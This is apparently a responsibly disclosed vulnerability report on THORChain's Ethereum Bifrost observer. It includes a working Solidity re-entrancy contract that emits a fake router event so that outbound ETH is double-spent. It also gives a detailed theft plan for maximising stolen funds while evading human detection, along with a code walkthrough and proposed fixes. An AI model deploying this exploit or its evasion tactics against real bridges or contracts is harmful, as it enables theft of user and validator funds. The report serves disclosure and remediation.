HildisviniOttar/thorchain_vuln_eth-bifrost.md

## thorchain_vuln_eth-bifrost.md

      
    Raw
  

              thorchain_vuln_eth-bifrost.md
            
          
    Non-observed ETH outbounds

In THORChain, the ETH chain works by sending assets to/from a router contract as specified in the https://thornode.thorchain.info/thorchain/inbound_addresses endpoint.
Currently: https://etherscan.io/address/0xc145990e84155416144c532e31f89b840ca8c2ce
The router emits events which are logged in the Ethereum virtual machine. THORChain Bifrost module reads these logs from each tx where the To() address is whitelisted (XRune / Router). Only logs emitted by the actual THORChain router are processed.
Multiple logs (two or more emit Event(...)) may occur for each transaction. When this happens, Bifrost is very aggressive at ensuring events with parameters that don't exactly match eachother (sender, to, and memo) are rejected so this transaction is not observed at all.
This can be abused in reverse by an attacker causing a legitimate outbound transaction to emit extra log(s) with different parameters, causing Bifrost to ignore this tx, and the system re-scheduling the txOut. This results in a double-spend to the attacker.
The attack

We shall show one transaction double-spend, then discuss potential strategies to maximise theft of funds whilst minimising risk to attacker.
Firstly an attacker creates an EvilContract™ as follows:
// SPDX-License-Identifier: UNLICENSED
// -------------------
// EvilContract™ v1.0
// -------------------
pragma solidity 0.8.3;


interface THORChain_Router {
    function transferAllowance(address router, address newVault, address asset, uint amount, string memory memo) external;
}

contract EvilContract {
    address private ASGARD_VAULT = 0xf56cBa49337A624E94042e325Ad6Bc864436E370;

    /*
     When THORChain sends ETH to this contract, this code is executed.
     Here we immediately call back into the router to generate a bullshit event
     that tricks Bifrost into not observing this Yggdrasil tx. We allow tx
     from Asgard vault(s) to be observed so it doesn't trigger THORChain insolvency checker.
    */
    fallback() external payable {
        if (tx.origin != ASGARD_VAULT) {
            THORChain_Router(msg.sender).transferAllowance(
                address(msg.sender), //oldVault (router)
                address(this),      //newVault
                address(0),         //asset
                0,                  //amount
                "A"                 //Memo 
            );
        }
    }
    
    // Other functions for attacker to withdraw ETH from this contract...
}

Note: The transferAllowence function was used to emit the fake event here. This could also be returnVaultAssets which also doesn't have re-entrancy guard. We can't use deposit().
The attacker then crafts a SWAP to ETH, with the recipient this smart-contract. For small transactions, a Yggdrasil will be tasked with sending this txOut, which is never observed. About 20 minutes later, Asgard will send it again resulting in a double-spend to the attacker.
The insolvency checker does not recognise this as an insolvency event.
Funds at risk

In order to abuse this bug to steal the maximum funds possible, an attacker would need to optimise the number of transactions and timing to maximise the double-spends before human detection.
After each tx double-spend, the associated Yggdrasil is penalised and jailed for 1hr. This sometimes occurs during normal ops, so there are two main ways to attack using this bug:

Patient: Slowly over time, causing more and more Yggdrasil insolvency over time. 1-2 ETH at a time.
Go hard up-front (preferred). Send fewer large swaps and have all of the Yggdrasils immediately send them out (after delayed outbound queue). Do this during a busy period to "hide in the noise". Use multiple assets from different inbound addresses to avoid a pattern detectable by humans. Use different EvilContract as recipients. After the required outbound delay has passed, the swaps are all simultaneously executed and Yggdrasil's and the attacker gets all their funds back min-risk (as ETH). After 20 minutes, most of the rescheduled Asgard double-spends start arriving into the EvilContracts and Yggdrasils start to be jailed. After many jails, Humans will detect a problem. The human response time is many minutes and by then, Asgard has already double-sent all the 38 funds out which are unrecoverable even with a halt.

It is not uncommon for an Yggdrasil to hold 30+ ETH. With 38 validators, that's ballpark over 1000 ETH at risk ($3-4m max). It's probably feasible to steal $500k-$1m using the above attack technique (around 7-8 ETH each * 38). The main factor is the risk/reward an attacker would face over how big the transactions should be: the risk is that large tx with 1hr delay are at risk of being discovered whilst in the wait queue. Small tx is faster, safer but less profit. There is no technical reason an attacker with large funds and high risk tolerance couldn't steal the full Yggdrasil ETH balance with the right timing and social manipulation.
Code walkthrough

In ethereum_block_scanner.go, getTxInFromSmartContract() loops through the event logs. Multiple events can be parsed. For example:
for _, item := range receipt.Logs {
  ...
  switch item.Topics[0].String() {
    case transferOutEvent:
      ...
      if len(txInItem.Memo) > 0 && !strings.EqualFold(txInItem.Memo, transferOutEvt.Memo) {  <-- Our event has memo "A" which doesn't match the valid "OUT:{hash}" memo
        return nil, fmt.Errorf("multiple events in the same transaction , have different memo , ignore")
      }
      txInItem.Memo = transferOutEvt.Memo
      ...
}
All of the topic types have the same pattern: whilst looping over all the logs, if any previous log parameters don't match the current log, it returns nil, which results in a non-observation of this entire transaction.
Fix

There are several options:

Send ETH directly instead of via router,
Re-deploy router and require the recipient address to have code size == 0. This is not ideal because it limits legitimate swaps being able to be sent to contracts.
Re-deploy router and all ETH call() transfers, change to solidity send() or transfer() which restricts Gas to 2300 in external functions making re-entrancy too expensive to re-emit fake Events. Also add re-entrancy guards to the two other external functions, and remove batchTransferOut.
Modify Bifrost to guard against non-observation in this manner. transferOut() exists in isolation in the router, so if there is a TransferOut event, it should be the only event. Any other events can be ignored. Also keep in mind, the bogus events may come first in the logs, so it should be order agnostic.

Misc. points


This was checked in Remix and two log events are produced.
The Geth estimate Gas should provide enough gas to call back into the router. If not, we still should be good because transferOut() normally does ERC20 admin externally and this is a similar expense.

Reporting

This was responsibly disclosed to @Heimdall and @Leena 11 Sep 2021. It will be made public after THORChain is patched.